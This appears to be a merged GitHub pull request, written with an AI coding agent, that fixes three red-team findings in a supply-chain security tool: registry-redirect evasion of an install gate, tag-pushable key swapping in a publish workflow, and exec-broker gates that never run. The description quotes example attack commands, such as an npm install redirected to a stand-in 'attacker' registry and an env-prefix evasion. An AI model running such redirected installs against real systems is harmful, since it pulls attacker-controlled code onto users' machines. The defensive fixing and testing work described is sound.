Skip to content

fix(security): close the three red-team CONFIRMED critical false-greens - #231

Merged
sandstream merged 2 commits into
mainfrom
claude/web-kit-status-sync-p6fg9a
Jul 4, 2026
Merged

sandstream merged 2 commits into
mainfrom
claude/web-kit-status-sync-p6fg9a

Conversation

@sandstream

Copy link
Copy Markdown
Owner

Description

Closes the three CONFIRMED critical findings from the code-in-hand red-team — all three were false-greens (a gate reports PASS/green while the attack succeeds), the exact failure mode kit exists to prevent.

Type of Change

  • Bug fix (security)
  • CI/release fix

The three fixes

1. Install-gate registry-redirect (src/install-gate.ts)
npm_config_registry=http://attacker/ npm i lodash triaged the reputable name lodash → triage PASS, but npm pulled lodash from the attacker's registry. Now parseInstallCommand detects install-SOURCE redirects — env vars (npm_config_registry, PIP_INDEX_URL, UV_INDEX_URL, *_registry…) and flags (--registry[=], --index-url[=], -i <url>) — and marks the command unverifiable (fail-closed) unless the source is the known public default. Flag values are also excluded from package parsing.

2. CI publish supply-chain (.github/workflows/publish.yml)
publish.yml ran from the pushed tag's tree and imported + ultimately-trusted the in-repo maintainer-pubkey.asc, so anyone able to push a v* tag could swap the key and ship to npm as latest with valid provenance — without the maintainer's private key. Now: the publish job runs under a protected environment: npm-publish (scope NPM_TOKEN there + required reviewers), and the maintainer key fingerprint is pinned in a MAINTAINER_KEY_FPR secret — a swapped/mismatched in-repo key is refused, and the secret is required (fail-closed).

3. exec-broker dead-code false-green (src/exec-broker/broker.ts)
The gates only inspected declared effect arrays, which the production caller never populated → every op passed regardless of policy. brokerExec now fail-closed-denies a gated op that declares no effect contract under an active policy; an effect-free op opts in explicitly via declaredEffects: true.

Testing

  • npm test — 2222 pass, 0 fail
  • New regression tests: registry-redirect (env + flag forms) unverifiable + public-default not-flagged; broker undeclared-effects deny + explicit-zero allow.
  • eslint 0 errors; prettier clean; publish.yml valid YAML.

Operator action required (for #2)

Configure the npm-publish environment (required reviewers) and set the MAINTAINER_KEY_FPR secret to the maintainer key's fingerprint. Until the secret is set, publishing fails closed (by design).

Not in scope

The red-team's HIGH/MEDIUM findings (install-gate shell-keyword evasion, audit auto-advance laundering, air-gap npm beacon, revocation authority model, redaction gaps, memory quarantine evasion) — tracked as follow-ups.

🤖 Generated with Claude Code

https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2


Generated by Claude Code

1. install-gate registry-redirect: detect install-SOURCE redirects
   (npm_config_registry/PIP_INDEX_URL/--registry=/-i <url>) and mark the
   command unverifiable (fail-closed) unless the source is the public
   default — closes 'triage PASS while installing attacker code'.
2. CI publish: run the publish job under a protected environment
   (npm-publish) so NPM_TOKEN needs approval, and PIN the maintainer key
   fingerprint in MAINTAINER_KEY_FPR (refuse a swapped in-repo pubkey) —
   closes 'push a v* tag → ship to npm as latest'.
3. exec-broker: fail-closed-deny a gated op that declares no effect
   contract under an active policy (declaredEffects:true to opt in with
   zero effects) — closes the 'gates are dead code' false-green.

2222 tests pass; lint clean; publish.yml valid YAML.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2
@github-actions

github-actions Bot commented Jul 4, 2026

Copy link
Copy Markdown

✅ Docker image built successfully

  • CLI image: docker.io/sandstream/kit:test

install-gate (fix #1 residuals):
- broaden the leading env-assignment strip to /^[^\s=]+=/ so a
  special-char name (env 'a:b=1' npm i evil) can no longer become argv[0]
  and hide the install entirely;
- SOURCE_ENV_RE now also catches YARN_NPM_REGISTRY_SERVER,
  NPM_CONFIG_USERCONFIG/GLOBALCONFIG, PIP_CONFIG_FILE (indirect
  config-file redirects) and scoped npm_config_@scope:registry.

publish.yml (fix #2 residual):
- require the imported .asc to contain EXACTLY ONE primary key, so an
  attacker can't append a second key to the (pushable) pubkey file and
  have git verify-tag accept a rogue-key-signed tag (gpg --verify exits 0
  on any good sig in the keyring).

2222 tests pass; lint clean; publish.yml valid YAML.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2
@github-actions

github-actions Bot commented Jul 4, 2026

Copy link
Copy Markdown

✅ Docker image built successfully

  • CLI image: docker.io/sandstream/kit:test

@sandstream
sandstream merged commit 5b29833 into main Jul 4, 2026
17 checks passed
@sandstream
sandstream deleted the claude/web-kit-status-sync-p6fg9a branch July 4, 2026 21:25
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants